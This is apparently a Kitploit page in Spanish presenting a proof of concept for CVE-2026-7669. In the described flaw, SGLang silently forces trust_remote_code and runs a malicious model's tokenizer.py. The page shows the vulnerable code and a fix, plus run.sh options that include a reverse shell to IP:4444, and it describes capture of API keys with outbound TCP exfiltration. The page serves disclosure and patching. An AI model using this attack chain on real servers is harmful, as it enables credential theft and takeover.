CVE-2026-7669-PoC — PoC para CVE-2026-7669: SGLang anulación silenciosa de trust_remote_code -> RCE | Kitploit

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    tokenizer = AutoTokenizer.from_pretrained(
        tokenizer_name,
        *args,
        trust_remote_code=True,
        tokenizer_revision=tokenizer_revision,
        clean_up_tokenization_spaces=False,
        **kwargs,
    )

./run.sh --server         reproducir vía TokenizerManager.__init__
./run.sh --versions       matriz de transformers 5.0..5.5
./run.sh --revshell IP    reverse shell opcional a IP:4444
./run.sh --rebuild        forzar reconstrucción --no-cache
./run.sh --copy-ledger ./ledger.json

Phase 1   transformers + False             return=TokenizersBackend     exec=False
Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True

Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High

*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***

Componente	Fijación
Python	`3.12.7-slim-bookworm`
transformers	`5.3.0`
Commit de SGLang	`fae90abf6e15aaffb6fd924a439253674771487d`
SHA256 de `hf_transformers_utils.py`	`9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e`
Bloque vulnerable (líneas 898-909) SHA256	`109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece`

Métrica	Valor	Respaldado por
AV	N	Los archivos de activación (`config.json`, `tokenizer_config.json`, `tokenizer.json`, `tokenizer.py`) son el diseño estándar de `auto_map` del HF Hub. Cualquier registro que los sirva alcanza el bug.
AC	L	`PHASE-2` se activa de forma determinista en una sola ejecución. Cada condición de activación es contenido creado por el atacante. `PRE-1..7` confirman que no hay fingerprinting del entorno.
PR	N	Una subida gratuita al HF Hub es suficiente. Nada en la cadena de activación requiere privilegios preexistentes sobre la víctima.
UI	R	La activación ocurre solo cuando un operador (o un pipeline configurado por el operador) invoca `launch_server --model-path attacker/model`.
S	U	Todas las afirmaciones `SEV-*` se ejecutan dentro de la autoridad del proceso de SGLang. Sin escape de sandbox ni de contenedor.
C	H	`SEV-secrets` captura `HF_TOKEN`, `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `GPG_KEY` del entorno del proceso. `SEV-network` abre un canal de exfiltración TCP saliente.
I	H	`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`, `SEV-pip` son cuatro primitivas de integridad independientes en diferentes ubicaciones sensibles.
A	H	Inferido de RCE. `SEV-pip` demuestra ejecución arbitraria de subprocesos, que es la misma primitiva necesaria para un auto-DoS. El PoC no demuestra directamente un auto-kill.

Grupo	Afirmaciones
`PRE-1..7`	Versiones fijadas (Python, transformers, SHA256 de archivos, recuento de líneas, SHA256 del bloque de sobrescritura, `trust_remote_code` por defecto, ruta de origen)
`SRC-1`	El código fuente importado de `get_tokenizer` contiene la sobrescritura
`PHASE-1`	transformers respeta `trust_remote_code=False` directamente
`PHASE-1b`, `PHASE-1b-mech`	SGLang sin las líneas 898-909 respeta `False` y hace exactamente una llamada a `from_pretrained`
`PHASE-2`, `PHASE-2-mech`, `PHASE-2-silent`	SGLang real ejecuta `tokenizer.py`. El trace muestra la llamada 0 (`False`)->`TokenizersBackend`, la llamada 1 (`True`)->`MaliciousTokenizer`. Ninguna línea de registro menciona `trust_remote_code` (captura DEBUG en el logger raíz y `sglang`).
`PHASE-2b`	Parcheado + `True` explícito aún carga (el parche es quirúrgico)
`PHASE-3-rce`, `PHASE-3-via-override`	El modo de tokenizer lento también alcanza RCE a través de la misma ruta 898-909
`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`	Primitivas de persistencia y propagación lateral
`SEV-network`	Canal de exfiltración TCP saliente
`SEV-secrets`	Captura de secretos de variables de entorno
`SEV-pip`	Instalación arbitraria de pip (cadena de suministro)
`SEV-root`	Proceso ejecutándose como root en la imagen lmsysorg
`AUTH-1`	Los `ServerArgs` por defecto (, ) dejan todos los endpoints alcanzables sin autenticación

attacker/model/
  config.json             model_type "gpt2" (en TOKENIZER_MAPPING_NAMES de transformers)
  tokenizer_config.json   tokenizer_class personalizado + auto_map -> tokenizer.py
  tokenizer.json          tokenizer BPE válido (para que la primera carga tenga éxito)
  tokenizer.py            payload
  model.safetensors       pesos ficticios

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    logger.warning(
        "Model %s requires a custom tokenizer but trust_remote_code=False. "
        "Returning generic TokenizersBackend without executing tokenizer.py. "
        "Restart with --trust-remote-code if the custom code is required.",
        tokenizer_name,
    )

api_key=None

admin_api_key=None

ADMIN_OPTIONAL

Código	Significado
0	Confirmado
1	No activado
2	Falso positivo (transformers en sí ejecutó `tokenizer.py`, el bug es upstream)
3	La verificación previa de versión fijada falló

CVE-2026-7669-PoC

Más Populares

Código vulnerable

Reproducir

Veredicto

Entorno fijado

Justificación CVSS

Afirmaciones

Mecanismo

Corrección

Divulgación

Créditos

Referencias